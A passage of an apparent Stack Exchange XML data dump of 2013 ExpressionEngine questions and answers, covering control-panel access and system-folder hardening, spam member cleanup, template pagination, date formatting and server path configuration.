Login?&lt;/li&gt;&#xA;&lt;li&gt;Security and Session Preferences -&gt; Allow multiple log-ins from a single account?&lt;/li&gt;&#xA;&lt;li&gt;Checking apache/php logs and error logs&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Does any of you have a clue in what direction i should be looking?&lt;/p&gt;&#xA;" OwnerUserId="792" LastActivityDate="2013-02-25T20:16:48.817" Title="Login problem with Safari on single machine" Tags="|control-panel|login|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6696" PostTypeId="1" AcceptedAnswerId="6702" CreationDate="2013-02-25T09:37:16.603" Score="5" ViewCount="3582" Body="&lt;p&gt;A site that I built last autumn had the CP url set as system/index.php (I think I was following Ryan Irelan’s advice in that regard). It works fine. However, last night I did a quick install of EE Core and the bit of the installation wizard specifying ‘URL to your control panel access file’ pre-filled itself with admin.php. Either method seems to work (provided I appropriately specify the $config['cp_url'] parameter in my config.php file) but I am left wondering which is the ‘correct’ way? mydomain.com/system/index.php or my domain.com/admin.php? And is one way more secure than the other?&lt;/p&gt;&#xA;" OwnerUserId="307" LastActivityDate="2013-02-26T20:24:08.917" Title="CP access: admin.php or system/index.php" Tags="|control-panel|config|" AnswerCount="6" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6697" PostTypeId="2" ParentId="6695" CreationDate="2013-02-25T10:17:33.190" Score="0" Body="&lt;p&gt;I have had this issue too. it looks as if it starts to happen when you are auto logged out when your session expires. &#xA;&lt;a href=&quot;http://ellislab.com/forums/viewthread/102628/&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/forums/viewthread/102628/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://ellislab.com/forums/viewthread/233088/&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/forums/viewthread/233088/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://ellislab.com/forums/viewthread/219020/#1038039&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/forums/viewthread/219020/#1038039&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="215" LastActivityDate="2013-02-25T10:17:33.190" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6698" PostTypeId="2" ParentId="6696" CreationDate="2013-02-25T11:11:05.250" Score="1" Body="&lt;p&gt;I personally never use admin.php. I delete it from installs altogether if I do not move system folder above web root. I do not use it with MSM installs either. The only ones I have got only allow for access via the &quot;main&quot; domain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One less thing to worry about ;o)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That being said, here is &lt;a href=&quot;http://mijingo.com/products/ebooklets/securing-expressionengine-2/&quot; rel=&quot;nofollow&quot;&gt;a great ebook on securing ExpressionEngine by Mark Huot&lt;/a&gt;. Well worth the money/read. If possible, moving your system folder above web root is more secure, as others have indicated.&lt;/p&gt;&#xA;" OwnerUserId="141" LastEditorUserId="141" LastEditDate="2013-02-26T20:24:08.917" LastActivityDate="2013-02-26T20:24:08.917" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="6699" PostTypeId="1" AcceptedAnswerId="6722" CreationDate="2013-02-25T11:40:58.107" Score="3" ViewCount="1077" Body="&lt;p&gt;I've picked up an old EE 1.6 site that has 58k spam member accounts. Anybody got a safe way to delete them all without going through every paginated screen in the CMS? It's on a live server but I suppose I could edit the SQL to change pagination.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd rather do it directly in myqsql though I think, but I want to make sure no table relationships are broken.&lt;/p&gt;&#xA;" OwnerUserId="506" LastActivityDate="2013-09-06T08:52:51.303" Title="Quickly delete 1000s of members" Tags="|members|" AnswerCount="3" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="6700" PostTypeId="2" ParentId="6696" CreationDate="2013-02-25T11:50:01.347" Score="1" Body="&lt;p&gt;It depends on your needs. First, when changing the name of your system folder, also change the name of the &lt;code&gt;admin.php&lt;/code&gt; file, if you plan to use. If not, delete the &lt;code&gt;admin.php&lt;/code&gt; file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Our go to set-up for ExpressionEngine installs are to move the system folder &lt;strong&gt;out of&lt;/strong&gt; the 'public_html' folder (aka: html, www, public, etc.) So if your set-up is more like&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/system&#xA;/public_html&#xA;   - admin.php&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then you want the &lt;code&gt;admin.php&lt;/code&gt; file. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;We do have old set-ups where &lt;code&gt;/system&lt;/code&gt; is in the &lt;code&gt;public_html&lt;/code&gt; folder. In those cases we:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Remove 'admin.php' if all control panel users are client's staff&lt;/strong&gt;. If everyone with control panel access is also considered a trusted source (staff), then we delete the 'admin.php' file, but…&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Establish Multiple Levels of Trust with 'admin.php'.&lt;/strong&gt; In these cases, we may provide only sysadmins or designated staff access to the full &lt;code&gt;system folder&lt;/code&gt; and provided everyone else access via the &lt;code&gt;admin.php&lt;/code&gt; file. Users of the &lt;code&gt;admin.php&lt;/code&gt; file, generally wouldn't have ssh or ftp access either, so they NEVER know the name of the system folder.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Our biggest use though is for using &lt;code&gt;admin.php&lt;/code&gt; when the &lt;code&gt;system folder&lt;/code&gt; no longer has public access. A good security measure, if you can do it.&lt;/p&gt;&#xA;" OwnerUserId="252" LastActivityDate="2013-02-25T11:50:01.347" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="6701" PostTypeId="2" ParentId="6696" CreationDate="2013-02-25T11:52:40.457" Score="3" Body="&lt;p&gt;You need to use admin.php when using MSM (Multi Site Manager).  The system folder is only present in one of the sites so if you want to access the Control Panel from one of the other sites you have to use admin.php.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First site in MSM looks like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/&#xA;index.php&#xA;admin.php&#xA;-System&#xA;-Templates&#xA;etc&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Each subsequent site just has:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/&#xA;index.php&#xA;admin.php&#xA;-Templates&#xA;etc&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can access the Control Panel for any site in the MSM from the master (for want of a better term) site via /system/index.php, in which case you don't need admin.php, but if you limit user's access to just one, or rather not all, sites then you will need to provide admin.php as the entry point to the control panel for each site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EE Security is what you make it - /system/index.php can be secured simply by dropping in an .htaccess file and restricting by IP or something similar.  We tend to have our control panels only accessible from within our network and we can achieve this using either file.  We also remove everything but the front controller (index.php/admin.php) and static assets from the public web root - but that's the answer to another question :)&lt;/p&gt;&#xA;" OwnerUserId="255" LastEditorUserId="255" LastEditDate="2013-02-25T12:02:12.057" LastActivityDate="2013-02-25T12:02:12.057" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6702" PostTypeId="2" ParentId="6696" CreationDate="2013-02-25T12:02:22.590" Score="11" Body="&lt;p&gt;It's not that using &lt;code&gt;admin.php&lt;/code&gt; is a security benefit in itself, it's that it allows you to move your entire &lt;code&gt;/system&lt;/code&gt; folder outside of the web root. If you don't take that step then you will see no benefits whatsoever. In fact, if you leave both &lt;code&gt;admin.php&lt;/code&gt; and &lt;code&gt;/system&lt;/code&gt; in your &lt;code&gt;public_html&lt;/code&gt; folder (or equivalent) that's arguably detrimental to security, as you've got two separate CP logins for people to stumble across rather than one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Why move your system folder out of the web root?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's a bit like living in an underground bunker rather than a normal house. Instead of having a ton of doors and windows for someone to throw a rock through you've just got the one. If there's an XSS exploit for &lt;code&gt;system/expressionengine/third_party/dodgy_addon/mcp.dodgy_addon.php&lt;/code&gt; you aren't vulnerable to it as that file isn't publicly accessible. Any successful hack has to be routed through &lt;code&gt;admin.php&lt;/code&gt;*.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Should I always move the system folder out of the web root?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ideally yes, but you won't always have a choice over server environments or deployment practices, and sometimes it might not be feasible. So long as &lt;code&gt;/system&lt;/code&gt; has been renamed it probably isn't worth losing sleep over, but if you have the option it's always worth doing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;sub&gt;* Short of server-level exploits which are really a separate issue.&lt;/sub&gt;&lt;/p&gt;&#xA;" OwnerUserId="77" LastActivityDate="2013-02-25T12:02:22.590" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6703" PostTypeId="2" ParentId="6696" CreationDate="2013-02-25T12:16:26.697" Score="5" Body="&lt;p&gt;I believe the main and immediate advantage to using admin.php, wether you move the system folder above root or not, is that it hides the name of the system directory from http request logs. So if you have renamed your system folder (for security reasons), your browser is only making requests to admin.php, not &lt;strong&gt;secret_system_folder&lt;/strong&gt;/index.php.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's the same reason why when you click the name of your site in the upper right corner of the control panel, you're taken to &lt;a href=&quot;http://example.com/index.php?URL=http://example.com&quot;&gt;http://example.com/index.php?URL=http://example.com&lt;/a&gt;. I believe this is to mask the referrer URL in server logs from recording your system folder.&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2013-02-25T12:16:26.697" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6704" PostTypeId="1" CreationDate="2013-02-25T12:20:53.543" Score="0" ViewCount="405" Body="&lt;p&gt;I have a single template I'm using to display a list of audio files.  When the user clicks on the audio they want to listen to, it uses a conditional statement to display the single entry in the same template.  I'm using:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if segment_2 == &quot;&quot;} then show list of files, and paginate&#xA;{if segment_2 != &quot;&quot;} then show single entry&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The problem occurs when you click the pagination link to go to the next page in the list and EE adds a segment 2 to the url (i.e. P2, P3, etc.).  Because of that, the conditional is met, and rather than displaying the next page in the list, it displays the next single entry.  I'm looking for a way around this.&lt;/p&gt;&#xA;" OwnerUserId="678" LastActivityDate="2013-02-25T12:58:16.787" Title="Problem with pagination links and conditional" Tags="|conditionals|pagination|" AnswerCount="3" CommentCount="1" ClosedDate="2013-02-25T13:14:55.863" ContentLicense="CC BY-SA 3.0" />
  <row Id="6706" PostTypeId="2" ParentId="6680" CreationDate="2013-02-25T12:38:10.793" Score="3" Body="&lt;p&gt;We have run exactly this setup for the past 3 years without issue.  You shouldn't have any particular problems, security or otherwise.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only issue is the added complexity - we do it because we use nginx to terminate all inbound http connections (mainly SSL on a wildcard certificate) and then proxy them out to either Apache on the same server or multiple other servers running whatever, nginx also dabbles in a bit of caching.  So I would argue we have a good reason for this setup.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd argue that serving static files from nginx and dynamic from Apache for performance reasons adds virtually nothing to the overall performance of the site; sure nginx is faster, but it's not that much faster.  I'd suggest you either server the whole thing out of nginx using FastCGI or ditching nginx and as has been suggested use Varnish - see &lt;a href=&quot;http://www.kevincupp.com/2011/05/22/marking-ee-sites-fly-with-varnish.html&quot; rel=&quot;nofollow&quot;&gt;http://www.kevincupp.com/2011/05/22/marking-ee-sites-fly-with-varnish.html&lt;/a&gt; for an excellent guide.&lt;/p&gt;&#xA;" OwnerUserId="255" LastActivityDate="2013-02-25T12:38:10.793" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6707" PostTypeId="2" ParentId="6704" CreationDate="2013-02-25T12:42:56.357" Score="1" Body="&lt;p&gt;I know you asked for a non third party solution but, currently, native solutions are problematic from a performance point of view, mainly due to the way native complex conditionals work in EE and because you have to deal with pagination.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My favourite solution involves using &lt;a href=&quot;http://devot-ee.com/add-ons/switchee&quot; rel=&quot;nofollow&quot;&gt;Switchee&lt;/a&gt; (free):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:switchee variable = &quot;{segment_2}&quot; parse=&quot;inward&quot;}&#xA;  {case value=&quot;#^P(\d+)$#|''|category&quot;}&#xA;    ... list page ...&#xA;  {/case}&#xA;&#xA;  {case default=&quot;yes&quot;}&#xA;    ... detail page ...&#xA;  {/case}&#xA;{/exp:switchee}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;There is &lt;a href=&quot;http://eeinsider.com/articles/simpler-expressionengine-urls-with-a-simple-template/&quot; rel=&quot;nofollow&quot;&gt;an article dedicated to the &quot;issue&quot; on EEInsider&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="141" LastActivityDate="2013-02-25T12:42:56.357" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6708" PostTypeId="2" ParentId="6704" CreationDate="2013-02-25T12:45:10.273" Score="0" Body="&lt;p&gt;Create a new template in the same group called &quot;view&quot;. Its another template for sure but if you don't want to add an extension your choices are limited.&#xA;Breaking your &quot;one template does all&quot; but the cost is negligible assuming your using snippets or globals to make up your html head/footer content.&lt;/p&gt;&#xA;" OwnerUserId="166" LastActivityDate="2013-02-25T12:45:10.273" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6709" PostTypeId="2" ParentId="6704" CreationDate="2013-02-25T12:58:16.787" Score="0" Body="&lt;p&gt;Is segment 2 the url title of the single entry?  If so, could the reverse of your conditional work?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if segment_2 == url_title}&#xA;    display just single item (likely with url title param in the entries loop)&#xA;{if:else}&#xA;    display list&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm not certain if this would work, but I thought I'd mention it as a different way you could try expressing your conditional.  This adds complexity to the conditional, however, and so introduces more performance weight than @jerome-coupe's suggestion, which is probably how I would handle it unless native is absolutely necessary to your situation. Switchee is a terrific way to parse the conditional more simply with case logic and it has the benefit of being able to detect pagination with regex as he mentioned.&lt;/p&gt;&#xA;" OwnerUserId="20" LastActivityDate="2013-02-25T12:58:16.787" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6710" PostTypeId="2" ParentId="6676" CreationDate="2013-02-25T13:36:18.510" Score="2" Body="&lt;p&gt;Sure. First, you probably want to use &lt;code&gt;safecracker_submit_entry_start&lt;/code&gt;. If you use &lt;code&gt;safecracker_submit_entry_end&lt;/code&gt;, the entry will already be in the database, which presumably you want to avoid if your custom error conditions are met.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Setup your extension to use the &lt;code&gt;safecracker_submit_entry_start&lt;/code&gt; hook (you can use &lt;a href=&quot;http://pkg.io&quot; rel=&quot;nofollow&quot;&gt;pkg.io&lt;/a&gt; for a quick start), and have it call a method of the same name in your extension.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then, pass the Safecracker object by reference so you can modify it in the parent context rather than locally.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function safecracker_submit_entry_start(&amp;amp;$safecracker)&#xA;{&#xA;    // do some stuff&#xA;    $safecracker['errors'][] = 'You didn't pass my special tests.';&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That should be it.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2013-02-25T13:36:18.510" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="6711" PostTypeId="1" AcceptedAnswerId="6744" CreationDate="2013-02-25T15:01:24.303" Score="2" ViewCount="122" Body="&lt;p&gt;I have a general security/privacy question about addons that use Amazon S3 for backup / file storage.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's my scenario: I host most of my client sites myself and use my own Amazon S3 account to backup various databases and files. However, when using a number of popular addons, at the S3 configuration stage of the setup you enter the authentication details and are then able to see all the buckets in that account.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This of course means that any Super Admin of any one of these sites potentially has access to buckets belonging to other clients. See the security/privacy issue?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know a workaround for this, other than each client having their own S3 account?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Jim&lt;/p&gt;&#xA;" OwnerUserId="308" LastActivityDate="2014-03-17T22:14:51.803" Title="General backup security question when using Amazon S3" Tags="|security|s3|backup|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6712" PostTypeId="1" CreationDate="2013-02-25T15:37:33.453" Score="0" ViewCount="239" Body="&lt;pre&gt;&lt;code&gt;&amp;lt;h7&amp;gt;{entry_date format=&quot;%F %m %Y&quot;}&amp;lt;/h7&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is the code I have for my entries, I want to display the date as to when content was posted. I have 2 videos up right now, their actual dates are Feb 17th and Feb 25th. However with the above code, they both show up on my website as Feb 2nd. So its not a Daylight Savings Time (DST) issue. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I even tried to change entry in the code above to edit and I had the same results. Anyone have an idea of something I can try to get it to display the correct date of entry? Thanks in advance, I appreciate it!&lt;/p&gt;&#xA;" OwnerUserId="626" LastActivityDate="2013-02-25T16:23:16.637" Title="Entry date field not showing up correctly" Tags="|ee2|date|tags|entries|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6713" PostTypeId="1" CreationDate="2013-02-25T15:59:36.573" Score="2" ViewCount="127" Body="&lt;p&gt;Ok, I have been using the Focus Lab Bootstrap for a while and its awesome. But I have come across a new problem when trying to use a testing URL that isn't a standard domain/sub.domain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How would I set up an environment like &lt;a href=&quot;http://xx.xx.xx.x/test/&quot; rel=&quot;nofollow&quot;&gt;http://xx.xx.xx.x/test/&lt;/a&gt; ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance, and let me know if i've left out a pertinent piece of info!&lt;/p&gt;&#xA;" OwnerUserId="383" LastActivityDate="2015-06-09T22:41:24.033" Title="Focus Lab Bootstrap config for sub directory?" Tags="|focus-lab-master-config|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6714" PostTypeId="2" ParentId="6646" CreationDate="2013-02-25T16:10:41.890" Score="2" Body="&lt;p&gt;I had not &quot;Updated Indexes&quot; in the plugin CP. Afte that things worked fine.&lt;/p&gt;&#xA;" OwnerUserId="603" LastActivityDate="2013-02-25T16:10:41.890" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6715" PostTypeId="1" AcceptedAnswerId="8860" CreationDate="2013-02-25T16:19:24.447" Score="0" ViewCount="174" Body="&lt;p&gt;Does anybody know of a way to output a list of yearly archives using a custom date field? Low Yearly Archives is exactly the functionality I need, but referencing a custom date field, not the entry_date field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&#xA;- B&lt;/p&gt;&#xA;" OwnerUserId="1016" LastActivityDate="2013-03-30T16:49:25.700" Title="Yearly archives w/ custom field" Tags="|low-yearly-archives|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6716" PostTypeId="1" CreationDate="2013-02-25T16:21:59.687" Score="2" ViewCount="146" Body="&lt;p&gt;I have a collection/channel of products, where each product belongs to multiple categories. I have two category groups: &lt;code&gt;product&lt;/code&gt; and &lt;code&gt;collection&lt;/code&gt;. Example &lt;code&gt;product&lt;/code&gt; categories include 'shirts' and 'hats'. Example &lt;code&gt;collection&lt;/code&gt; categories include 'blue' and 'on sale'. &lt;code&gt;collection&lt;/code&gt; categories can be thought of as children of &lt;code&gt;product&lt;/code&gt; categories, though in the EE backend, their category groups are siblings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a form that lets you input a keyword to search by, and then a tree of the &lt;code&gt;product&lt;/code&gt; and &lt;code&gt;collection&lt;/code&gt; categories. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a pseudo-query of what I need to accomplish:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SELECT&#xA;  products&#xA;WHERE&#xA;  keyword = 'foo'&#xA;AND &#xA;(&#xA;  ( product_cat = 'shirt' AND ( collection_cat = 'blue' OR collection_cat = 'on sale' ) )&#xA;  OR &#xA;  ( product_cat = 'hat' AND ( collection_cat = 'blue' ) )&#xA;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I know you can search through multiple categories by sending an array of category IDs, but in this case I need to have a parent-child category relationship.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this possible?&lt;/p&gt;&#xA;" OwnerUserId="1059" LastActivityDate="2013-02-26T08:03:59.353" Title="Is this complex category filtering possible in Low Search?" Tags="|low-search|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6717" PostTypeId="2" ParentId="6712" CreationDate="2013-02-25T16:23:16.637" Score="4" Body="&lt;p&gt;Your first 2 tokens are both month tokens. Essentially you're outputting &quot;February February 2013&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try &lt;code&gt;%F %j %Y&lt;/code&gt; or &lt;code&gt;%F %d %Y&lt;/code&gt; instead. (&lt;a href=&quot;http://php.net/manual/en/function.date.php&quot; rel=&quot;nofollow&quot;&gt;See PHP date formatting tokens.&lt;/a&gt;)&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2013-02-25T16:23:16.637" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6718" PostTypeId="2" ParentId="6715" CreationDate="2013-02-25T16:48:32.993" Score="0" Body="&lt;p&gt;&lt;strong&gt;EDIT2&lt;/strong&gt;: &lt;a href=&quot;http://devot-ee.com/add-ons/eevent-helper&quot; rel=&quot;nofollow&quot;&gt;EEvent helper&lt;/a&gt; will match a custom date field to your entry's publication and expiration date if you can live with that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT1&lt;/strong&gt;: sorry, misread your question. Thought you needed a custom year range&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Combining Low Archives with the &lt;a href=&quot;http://devot-ee.com/add-ons/dt-plugin&quot; rel=&quot;nofollow&quot;&gt;dt plugin&lt;/a&gt; should give you what you need.&lt;/p&gt;&#xA;" OwnerUserId="141" LastEditorUserId="141" LastEditDate="2013-02-25T16:56:52.537" LastActivityDate="2013-02-25T16:56:52.537" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6719" PostTypeId="2" ParentId="6699" CreationDate="2013-02-25T17:15:36.263" Score="-1" Body="&lt;p&gt;I would think your best bet is backing up the DB in production, writing a script to test the removal on your local machine, performing the update on your local machine, importing the changes back to the DB.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You might have to do a site-wide content freeze for a few hours, but that's pretty standard in situations like this.&lt;/p&gt;&#xA;" OwnerUserId="206" LastActivityDate="2013-02-25T17:15:36.263" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6720" PostTypeId="1" AcceptedAnswerId="6725" CreationDate="2013-02-25T17:27:05.273" Score="1" ViewCount="1418" Body="&lt;p&gt;I am hosting a client site on HostGator running Plesk. I got the server path from their documentation and confirmed it with tech support, however, when I enter the server path in the necessary locations (Captcha, Templates, etc.) I get the following error:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The following path you submitted is not valid&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The path I have entered is:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;/var/www/vhosts/web.clientname.com/domain/themes/&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Is there anyone with experience on HostGator Plesk that can provide insight into why I get the error? And more importantly, how to resolve it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="258" LastActivityDate="2013-02-25T18:46:33.227" Title="Why is the Server Path not Valid?" Tags="|server|path|captcha|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6721" PostTypeId="2" ParentId="6720" CreationDate="2013-02-25T17:36:45.117" Score="1" Body="&lt;p&gt;I have no experience with HostGator, but perhaps it's&#xA;&lt;code&gt;/var/www/vhosts/web.clientname.com/domain/public_html/themes/&lt;/code&gt;&#xA;or&#xA;&lt;code&gt;/var/www/vhosts/web.clientname.com/domain/htdocs/themes/&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="19" LastActivityDate="2013-02-25T17:36:45.117" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6722" PostTypeId="2" ParentId="6699" CreationDate="2013-02-25T17:54:52.350" Score="9" Body="&lt;p&gt;If the members you are deleting have something simple in common (e.g. They never logged-in&#xA;) then you can use the member clean up tools - these might work for you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Go CP Home  ›  Admin  ›  Utilities  ›  Data Pruning  ›  Membership Account Pruning&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Obviously back-up first before even looking at this and YMMV but for EE 1.6 the data pruning might be handy.&lt;/p&gt;&#xA;" OwnerUserId="463" LastActivityDate="2013-02-25T17:54:52.350" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="6724" PostTypeId="2" ParentId="6582" CreationDate="2013-02-25T18:38:20.963" Score="2" Body="&lt;p&gt;Really good question. I suppose it could open you up to session sidejacking.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's a couple of potential solutions I can think of without doing any research or prototyping.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;If the website is managed by a business, you could make your HTACCESS file only allow access to the control panel for certain IP addresses (yours and their offices). Alongside this, you could make it so that if they are on a (let's call it..) trusted IP all of their browsing is done via HTTPS.&lt;/li&gt;&#xA;&lt;li&gt;You could potentially make it so that if a user is logged in it automatically redirects them to a https version of the page. However, this may be too late and you do risk there being 2 versions of the same page (http and https). Not so great.&lt;/li&gt;&#xA;&lt;li&gt;Perhaps you can move the control panel to a subdomain; such as admin.sitename.com - that way the sessions should be different anyway. I think this is my preferred method.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Let me know how you get in.&lt;/p&gt;&#xA;" OwnerUserId="96" LastActivityDate="2013-02-25T18:38:20.963" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6725" PostTypeId="2" ParentId="6720" CreationDate="2013-02-25T18:46:33.227" Score="5" Body="&lt;p&gt;Upload a file called &lt;code&gt;test.php&lt;/code&gt; in their respective folders with the following code:-&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;   echo $_SERVER['DOCUMENT_ROOT'];&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then open those files in your browser and see what the echo'd path is. That should be the thing you set.&lt;/p&gt;&#xA;" OwnerUserId="96" LastActivityDate="2013-02-25T18:46:33.227" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6726" PostTypeId="1" AcceptedAnswerId="17526" CreationDate="2013-02-25T19:16:09.657" Score="5" ViewCount="210" Body="&lt;p&gt;Just purchased Postmaster, and its working great. Kind of wish I had got it ages ago and saved myself loads of manual emails!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My users submit entries via a safecracker form, that come to me with a status of &quot;pending&quot;.&#xA;I have set up two parcels.&#xA;The first one sends the user a notification that I have received their entry. This is easily achieved by using the &quot;New&quot; entry trigger &amp;amp; &quot;Pending&quot; status trigger. Works fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I then review the entry, make any edits where needed, set the status to &quot;open&quot; and publish the entry.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My next parcel send the entry author an email to tell them the entry is now live on the site. I have set this up via the &quot;edit&quot; entry trigger, and the &quot;open&quot; status.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This works very well. However, if I was to go in and edit that entry again, say simply for a typo, when I save it, it will fire of the original email again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i do not want this, I only want the original first email to go out, so I am wondering what would be the best way to achieve this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only ways I can think, are to have a custom field that maybe identifies that the entry has been edited, and use that in the extra conditionals, or to set up another status of &quot;edited&quot; and ensure that if I make an edit, I change the status to edited.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone think of an easier way? Ideally I would like it to be as automated as possible!&lt;/p&gt;&#xA;" OwnerUserId="542" 